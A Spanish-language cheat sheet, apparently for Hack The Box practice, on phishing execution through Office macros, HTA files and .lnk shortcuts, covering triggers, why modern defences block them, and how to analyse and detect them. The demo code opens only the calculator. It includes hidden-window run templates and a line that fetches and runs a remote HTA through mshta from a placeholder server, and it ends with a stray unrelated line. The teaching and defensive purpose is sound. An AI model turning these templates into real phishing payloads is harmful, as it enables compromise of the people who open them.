Phishing explicado: macros, HTA y LNK
Esta chuleta explica los vectores de ejecución del lado del cliente para que reconozcas un documento malicioso y entiendas las máquinas de HTB que los usan. Los ejemplos lanzan la calculadora (inofensiva) a propósito; verás por qué casi ninguno funciona ya fuera de un laboratorio.
Macros de Office
El vector clásico: una macro VBA que se ejecuta al abrir el documento. Es la base de varias máquinas de HTB con tema de phishing interno.
Practícalo en: ReelReel2MailingOutdatedOfficeRE
Cómo se dispara
' AutoOpen (Word) y Workbook_Open (Excel) se ejecutan al abrir el fichero
' SI el usuario habilita las macros. Document_Open hace lo mismo desde el módulo del documento.
Sub AutoOpen()
MsgBox "Esto se ejecuta al abrir el documento"
End Sub
' Shell y WScript.Shell.Run son las dos formas habituales; aquí abren la calculadora.
Sub Demo()
CreateObject("WScript.Shell").Run "calc.exe", 0, False
End Sub
El 0 pide ventana oculta. En un ataque real aquí iría el comando; en esta chuleta es calc a propósito.
Por qué casi no funciona ya
# Desde 2022 Office bloquea las macros de cualquier fichero descargado de Internet o recibido por correo (llevan la marca MOTW). El usuario ya ni ve el botón de "Habilitar".
# "Block all Office applications from creating child processes" impide que WINWORD.EXE lance cmd/powershell, que es justo lo que hace la macro.
Cómo analizar una que recibas
Lo útil hoy: saber mirar dentro de un documento sospechoso sin abrirlo.
olevba documento.docm
oleid documento.doc; oledump.py documento.doc
HTA
Un .hta es una página HTML que mshta.exe ejecuta fuera del navegador, con acceso a objetos COM. Se abre desde un enlace o un adjunto.
Cómo se dispara
<html><head><script language="VBScript">
CreateObject("WScript.Shell").Run "calc.exe", 0, False
self.close
</script></head><body></body></html>
Guardado como .hta y abierto, mshta.exe ejecuta el script.
mshta http://servidor/documento.hta
Qué lo detecta
# mshta.exe conectándose a una URL y creando cmd.exe o powershell.exe es un indicador de libro. Muchas empresas bloquean mshta.exe entero con AppLocker/WDAC.
Accesos directos (.lnk)
Un acceso directo guarda un ejecutable y sus argumentos. Con un icono de documento engaña a la vista; por eso conviene fijarse siempre en la extensión real.
Practícalo en: MailingOutdated
Cómo se dispara
# TargetPath + Arguments. Al hacer doble clic, Windows ejecuta eso.
# Target: C:\Windows\System32\cmd.exe
# Arguments: /c calc.exe
(New-Object -ComObject WScript.Shell).CreateShortcut('.\sospechoso.lnk') | Format-List TargetPath, Arguments, IconLocation
pip install pylnk3 && pylnk3 p sospechoso.lnk
Qué lo detecta
# Windows marca los .lnk descargados; SmartScreen avisa, y un .lnk cuyo destino es cmd o powershell es sospechoso por sí solo. La pista para el defensor: Explorer como proceso padre de cmd.
Ningún comando coincide.